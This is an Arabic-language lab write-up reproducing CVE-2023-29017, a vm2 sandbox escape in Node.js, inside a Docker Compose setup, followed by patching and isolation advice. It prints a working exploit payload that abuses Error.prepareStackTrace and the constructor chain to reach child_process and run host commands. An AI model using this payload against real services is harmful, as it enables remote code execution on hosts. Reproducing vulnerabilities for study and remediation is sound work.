
إعادة إنتاج ثغرة CVE-2023-29017 في Node.js vm2 باستخدام Docker Compose وPoC
[WHS الدفعة 4، الفصل 31] - كيم جونوو(@gunwoo105)
vm2 هي مكتبة صندوق حماية Node.js لتنفيذ JavaScript غير الموثوق به في بيئة مقيدة. في الظروف العادية، يجب ألا يتمكن الكود داخل صندوق الحماية من الوصول إلى وظائف حساسة مثل process, require, child_process ونظام ملفات المضيف.
ومع ذلك، في vm2 3.9.14 والإصدارات الأقدم، يفشل في معالجة كائن المضيف الذي يتم تمريره إلى Error.prepareStackTrace عند حدوث خطأ غير معالج غير متزامن. يمكن للمهاجم استغلال سلسلة المنشئين (constructor chain) لهذا الكائن للحصول على مُنشئ Function وكائن process في سياق المضيف، وفي النهاية تنفيذ أوامر نظام التشغيل عبر child_process.
بدلاً من استخدام صورة كاملة مع الثغرة، نقوم ببناء الصورة مباشرة من صورة Node.js الرسمية والشفرة المصدرية المضمنة في المستودع. في Dockerfile، يتم التحقق من إصدارات Node.js و vm2، وإذا كانت الإصدارات مختلفة عن المتوقع، يفشل البناء.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
سبب تشغيل worker.js كعملية منفصلة هو أن PoC يتسبب في حدوث خطأ غير معالج غير متزامن. حتى إذا تم إنهاء العامل (worker) أثناء الهجوم، فإن خادم الويب يستمر في العمل، ويمكن التحقق من النجاح بشكل موثوق باستخدام ملف العلامة (marker).
يجب استيفاء جميع الشروط التالية:
vm2 3.9.14 أو أقل.ليست جميع الخدمات التي تم تثبيت vm2 فيها معرضة تلقائيًا لهجوم عن بُعد. يجب أن تكون هناك وظيفة لتنفيذ الكود الذي يتحكم به المهاجم داخل vm2. نقطة النهاية /execute في هذا التمرين تمثل حالة الاستخدام هذه بشكل بسيط.
تدفق الهجوم كما يلي:
إرسال JavaScript ضار
│
▼
حدوث خطأ غير معالج غير متزامن
│
▼
استدعاء Error.prepareStackTrace
│
▼
تعريض كائن frames الخاص بالمضيف
│
▼
الحصول على مُنشئ Function الخاص بالمضيف
│
▼
process → require → child_process
│
▼
تنفيذ أوامر نظام التشغيل داخل الحاوية
docker compose build --no-cache

docker compose up -d vulnerable
تحقق من حالة الحاوية.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
يتحقق PoC تلقائيًا من العناصر التالية:
/tmp/vm2-pwneduid=لتشغيل كل شيء من البناء إلى PoC مرة واحدة، استخدم الأمر التالي:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
يحتوي PoC الكامل في poc/poc.js. الحمولة الأساسية هي كما يلي:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
يعيد المهاجم تعريف الدالة التي يتم تنفيذها عند إنشاء تتبع المكدس (stack trace) للخطأ.
Function الخاص بالمضيفframes.constructor.constructor
يتتبع سلسلة المنشئين لكائن frames الخاص بالمضيف الذي كشفه vm2 الضعيف، للوصول إلى مُنشئ Function في سياق المضيف.
process الخاص بالمضيفframes.constructor.constructor('return process')();
ينشئ وينفذ دالة تعيد process من سياق المضيف.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
يقوم بتحميل child_process غير المتاح داخل صندوق الحماية وتنفيذ أمر Linux id.
(async () => {}).constructor('return process')();
يجعل الدالة غير المتزامنة تشير إلى process غير المتاح في صندوق الحماية، مما يؤدي إلى إنشاء وعد مرفوض (rejected Promise) والوصول إلى مسار معالجة تتبع المكدس الضعيف.
يقوم JavaScript العادي بالتنفيذ داخل vm2 ويعيد 42، لكنه لا ينشئ دليلاً على تنفيذ أمر نظام التشغيل.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
عند إرسال الحمولة الضارة، يتم الهروب من صندوق الحماية vm2 وتنفيذ أمر id داخل الحاوية بصلاحيات عملية Node.js الضعيفة.
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
يتحقق PoC من الدليل المحفوظ ثم يعيد حالة النجاح.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

عند التحقق من ملف الدليل مباشرة، تظهر النتائج التالية:

يتم حذف ملف العلامة قبل كل تنفيذ، ولا يتم إنشاؤه أثناء مرحلة تنفيذ الكود العادي. وبالتالي يمنع النتائج الإيجابية الخاطئة الناتجة عن بقاء نتائج التنفيذ السابق.
قم بالتحديث إلى إصدار غير متأثر.
{
"dependencies": {
"vm2": "3.9.15"
}
}
بعد ذلك، قم بتحديث ملف القفل (lockfile) وتثبيت التبعيات المثبتة.
npm install --package-lock-only
npm ci
نظرًا لأن الإعلان الرسمي (Advisory) يوضح عدم وجود حل بديل (workaround)، فإن الاستمرار في استخدام الإصدار الضعيف غير موصى به.
لا تقم بتنفيذ الكود غير الموثوق به في نفس عملية Node.js للتطبيق. اعزله في عملية منفصلة، أو حاوية، أو جهاز افتراضي، وتخلص من البيئة بعد الانتهاء من التنفيذ.
no-new-privilegesطبق مصادقة وتفويض قويين على وظيفة تنفيذ الكود، ولا تقم بتشغيل واجهة برمجة تطبيقات (API) لتنفيذ كود عشوائي مفتوح لمستخدمين غير محددين. ومع ذلك، فإن المصادقة هي إجراء مساعد لتقليل سطح الهجوم، وليست بديلاً عن إصلاح الثغرة نفسها.
| المكون | الإصدار والإعداد |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| إصدار التصحيح | 3.9.15 |
| بيئة التشغيل | Docker Compose |
| مستخدم الحاوية | node |
| منفذ الخدمة | 127.0.0.1:3000 |
| تثبيت الحزم | npm ci + package-lock.json |
| الملف | الوظيفة |
|---|
docker-compose.yml | تعريف تكوين خدمة الثغرة وحاوية PoC وترتيب التنفيذ |
Dockerfile | بناء صور خدمة الثغرة و PoC بطريقة متعددة المراحل |
vulnerable/src/server.js | توفير نقاط النهاية /health, /execute, /evidence |
vulnerable/src/worker.js | تنفيذ إدخال المستخدم في vm2 في عملية منفصلة |
poc/poc.js | أتمتة التحقق من الإصدار، التحكم الطبيعي، الهجوم وتأكيد الدليل |
vulnerable/package-lock.json | تثبيت إصدارات الحزم بما في ذلك التبعيات الانتقالية |